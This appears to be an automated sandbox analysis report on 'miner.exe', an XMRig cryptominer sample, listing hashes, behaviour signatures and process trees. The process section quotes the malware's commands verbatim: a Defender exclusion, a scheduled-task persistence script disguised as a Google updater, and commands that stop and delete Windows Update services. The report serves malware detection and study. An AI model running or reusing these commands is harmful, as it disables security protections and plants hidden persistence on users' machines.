Analysis
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max time kernel
1801s -
max time network
1797s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
15/03/2023, 13:53
Static task
static1
General
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Target
miner.exe
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Size
54.5MB
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MD5
32e15387bdd65fe68b35718dd1b1b98f
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SHA1
d281b428c3d2e59c7d954308301822d9b3aa1409
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SHA256
dc2f5e27627750e63f24617303ed5b38841903ff3f32d98c55fe3a36d462064d
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SHA512
086b83aa2e1a999c946f3f62389dcb11e8ed76f70a974ba897ddbac9dd1d98a787a96fae3966934a6e3c7360ec50e1f5f73bff160790ef193371d1bb5b2cca38
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SSDEEP
786432:B1eGBQ0ZEtS6joZiVoJZmeL0W0SxaH+hnJIa53D7:B1JG0ZEtS68iVoJZmeL0WpX5
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
description pid Process procid_target PID 396 created 3232 396 miner.exe 41 PID 396 created 3232 396 miner.exe 41 PID 396 created 3232 396 miner.exe 41 PID 396 created 3232 396 miner.exe 41 PID 396 created 3232 396 miner.exe 41 PID 396 created 3232 396 miner.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 PID 2488 created 3232 2488 updater.exe 41 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral1/memory/1336-249-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-252-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-253-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-255-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-257-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-260-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-263-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-265-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-267-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-269-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-271-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-275-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-279-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-281-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-283-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-285-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-287-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-289-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-291-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-293-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-295-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-297-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-299-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-301-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-303-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-305-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-307-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-309-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-311-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig behavioral1/memory/1336-313-0x00007FF734E70000-0x00007FF735664000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 2488 updater.exe -
resource yara_rule behavioral1/memory/1336-249-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-252-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-253-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-255-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-257-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-260-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-263-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-265-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-267-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-269-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-271-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-275-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-279-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-281-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-283-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-285-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-287-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-289-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-291-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-293-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-295-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-297-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-299-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-301-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-303-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-305-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-307-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-309-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-311-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx behavioral1/memory/1336-313-0x00007FF734E70000-0x00007FF735664000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2488 set thread context of 1380 2488 updater.exe 145 PID 2488 set thread context of 1336 2488 updater.exe 151 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe miner.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1668 sc.exe 1736 sc.exe 4144 sc.exe 3428 sc.exe 8 sc.exe 992 sc.exe 4440 sc.exe 4912 sc.exe 4412 sc.exe 348 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 396 miner.exe 396 miner.exe 112 powershell.exe 112 powershell.exe 396 miner.exe 396 miner.exe 396 miner.exe 396 miner.exe 396 miner.exe 396 miner.exe 4004 powershell.exe 4004 powershell.exe 396 miner.exe 396 miner.exe 396 miner.exe 396 miner.exe 2496 powershell.exe 2496 powershell.exe 2488 updater.exe 2488 updater.exe 4640 powershell.exe 4640 powershell.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 4356 powershell.exe 4356 powershell.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 2488 updater.exe 1380 conhost.exe 1380 conhost.exe 2488 updater.exe 2488 updater.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe 1336 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 112 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4360 powercfg.exe Token: SeCreatePagefilePrivilege 4360 powercfg.exe Token: SeShutdownPrivilege 4852 powercfg.exe Token: SeCreatePagefilePrivilege 4852 powercfg.exe Token: SeShutdownPrivilege 832 powercfg.exe Token: SeCreatePagefilePrivilege 832 powercfg.exe Token: SeShutdownPrivilege 2884 powercfg.exe Token: SeCreatePagefilePrivilege 2884 powercfg.exe Token: SeIncreaseQuotaPrivilege 4004 powershell.exe Token: SeSecurityPrivilege 4004 powershell.exe Token: SeTakeOwnershipPrivilege 4004 powershell.exe Token: SeLoadDriverPrivilege 4004 powershell.exe Token: SeSystemProfilePrivilege 4004 powershell.exe Token: SeSystemtimePrivilege 4004 powershell.exe Token: SeProfSingleProcessPrivilege 4004 powershell.exe Token: SeIncBasePriorityPrivilege 4004 powershell.exe Token: SeCreatePagefilePrivilege 4004 powershell.exe Token: SeBackupPrivilege 4004 powershell.exe Token: SeRestorePrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4004 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeSystemEnvironmentPrivilege 4004 powershell.exe Token: SeRemoteShutdownPrivilege 4004 powershell.exe Token: SeUndockPrivilege 4004 powershell.exe Token: SeManageVolumePrivilege 4004 powershell.exe Token: 33 4004 powershell.exe Token: 34 4004 powershell.exe Token: 35 4004 powershell.exe Token: 36 4004 powershell.exe Token: SeIncreaseQuotaPrivilege 4004 powershell.exe Token: SeSecurityPrivilege 4004 powershell.exe Token: SeTakeOwnershipPrivilege 4004 powershell.exe Token: SeLoadDriverPrivilege 4004 powershell.exe Token: SeSystemProfilePrivilege 4004 powershell.exe Token: SeSystemtimePrivilege 4004 powershell.exe Token: SeProfSingleProcessPrivilege 4004 powershell.exe Token: SeIncBasePriorityPrivilege 4004 powershell.exe Token: SeCreatePagefilePrivilege 4004 powershell.exe Token: SeBackupPrivilege 4004 powershell.exe Token: SeRestorePrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4004 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeSystemEnvironmentPrivilege 4004 powershell.exe Token: SeRemoteShutdownPrivilege 4004 powershell.exe Token: SeUndockPrivilege 4004 powershell.exe Token: SeManageVolumePrivilege 4004 powershell.exe Token: 33 4004 powershell.exe Token: 34 4004 powershell.exe Token: 35 4004 powershell.exe Token: 36 4004 powershell.exe Token: SeIncreaseQuotaPrivilege 4004 powershell.exe Token: SeSecurityPrivilege 4004 powershell.exe Token: SeTakeOwnershipPrivilege 4004 powershell.exe Token: SeLoadDriverPrivilege 4004 powershell.exe Token: SeSystemProfilePrivilege 4004 powershell.exe Token: SeSystemtimePrivilege 4004 powershell.exe Token: SeProfSingleProcessPrivilege 4004 powershell.exe Token: SeIncBasePriorityPrivilege 4004 powershell.exe Token: SeCreatePagefilePrivilege 4004 powershell.exe Token: SeBackupPrivilege 4004 powershell.exe Token: SeRestorePrivilege 4004 powershell.exe Token: SeShutdownPrivilege 4004 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4708 wrote to memory of 4360 4708 cmd.exe 98 PID 4708 wrote to memory of 4360 4708 cmd.exe 98 PID 2804 wrote to memory of 1668 2804 cmd.exe 99 PID 2804 wrote to memory of 1668 2804 cmd.exe 99 PID 4708 wrote to memory of 4852 4708 cmd.exe 100 PID 4708 wrote to memory of 4852 4708 cmd.exe 100 PID 2804 wrote to memory of 1736 2804 cmd.exe 101 PID 2804 wrote to memory of 1736 2804 cmd.exe 101 PID 4708 wrote to memory of 832 4708 cmd.exe 102 PID 4708 wrote to memory of 832 4708 cmd.exe 102 PID 2804 wrote to memory of 4144 2804 cmd.exe 103 PID 2804 wrote to memory of 4144 2804 cmd.exe 103 PID 4708 wrote to memory of 2884 4708 cmd.exe 104 PID 4708 wrote to memory of 2884 4708 cmd.exe 104 PID 2804 wrote to memory of 3428 2804 cmd.exe 105 PID 2804 wrote to memory of 3428 2804 cmd.exe 105 PID 2804 wrote to memory of 8 2804 cmd.exe 107 PID 2804 wrote to memory of 8 2804 cmd.exe 107 PID 2804 wrote to memory of 1952 2804 cmd.exe 106 PID 2804 wrote to memory of 1952 2804 cmd.exe 106 PID 2804 wrote to memory of 4436 2804 cmd.exe 108 PID 2804 wrote to memory of 4436 2804 cmd.exe 108 PID 2804 wrote to memory of 3636 2804 cmd.exe 109 PID 2804 wrote to memory of 3636 2804 cmd.exe 109 PID 2804 wrote to memory of 1824 2804 cmd.exe 110 PID 2804 wrote to memory of 1824 2804 cmd.exe 110 PID 2804 wrote to memory of 1196 2804 cmd.exe 111 PID 2804 wrote to memory of 1196 2804 cmd.exe 111 PID 1028 wrote to memory of 3304 1028 cmd.exe 116 PID 1028 wrote to memory of 3304 1028 cmd.exe 116 PID 2496 wrote to memory of 3188 2496 powershell.exe 117 PID 2496 wrote to memory of 3188 2496 powershell.exe 117 PID 5036 wrote to memory of 992 5036 cmd.exe 127 PID 5036 wrote to memory of 992 5036 cmd.exe 127 PID 5036 wrote to memory of 4440 5036 cmd.exe 130 PID 5036 wrote to memory of 4440 5036 cmd.exe 130 PID 5000 wrote to memory of 4476 5000 cmd.exe 129 PID 5000 wrote to memory of 4476 5000 cmd.exe 129 PID 5036 wrote to memory of 4912 5036 cmd.exe 131 PID 5036 wrote to memory of 4912 5036 cmd.exe 131 PID 5000 wrote to memory of 216 5000 cmd.exe 132 PID 5000 wrote to memory of 216 5000 cmd.exe 132 PID 5036 wrote to memory of 4412 5036 cmd.exe 133 PID 5036 wrote to memory of 4412 5036 cmd.exe 133 PID 5036 wrote to memory of 348 5036 cmd.exe 134 PID 5036 wrote to memory of 348 5036 cmd.exe 134 PID 5000 wrote to memory of 720 5000 cmd.exe 136 PID 5000 wrote to memory of 720 5000 cmd.exe 136 PID 5036 wrote to memory of 2092 5036 cmd.exe 137 PID 5036 wrote to memory of 2092 5036 cmd.exe 137 PID 5000 wrote to memory of 4188 5000 cmd.exe 138 PID 5000 wrote to memory of 4188 5000 cmd.exe 138 PID 5036 wrote to memory of 3428 5036 cmd.exe 139 PID 5036 wrote to memory of 3428 5036 cmd.exe 139 PID 5036 wrote to memory of 1284 5036 cmd.exe 141 PID 5036 wrote to memory of 1284 5036 cmd.exe 141 PID 5036 wrote to memory of 2528 5036 cmd.exe 140 PID 5036 wrote to memory of 2528 5036 cmd.exe 140 PID 5036 wrote to memory of 1924 5036 cmd.exe 142 PID 5036 wrote to memory of 1924 5036 cmd.exe 142 PID 2488 wrote to memory of 1380 2488 updater.exe 145 PID 788 wrote to memory of 4880 788 cmd.exe 150 PID 788 wrote to memory of 4880 788 cmd.exe 150 PID 2488 wrote to memory of 1336 2488 updater.exe 151 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3232
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C:\Users\Admin\AppData\Local\Temp\miner.exe"C:\Users\Admin\AppData\Local\Temp\miner.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uywolgyx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4360
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4852
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:832
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2884
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1668
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1736
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4144
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3428
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1952
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:8
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4436
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:3636
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1824
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1196
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#eakmr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3188
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\miner.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3304
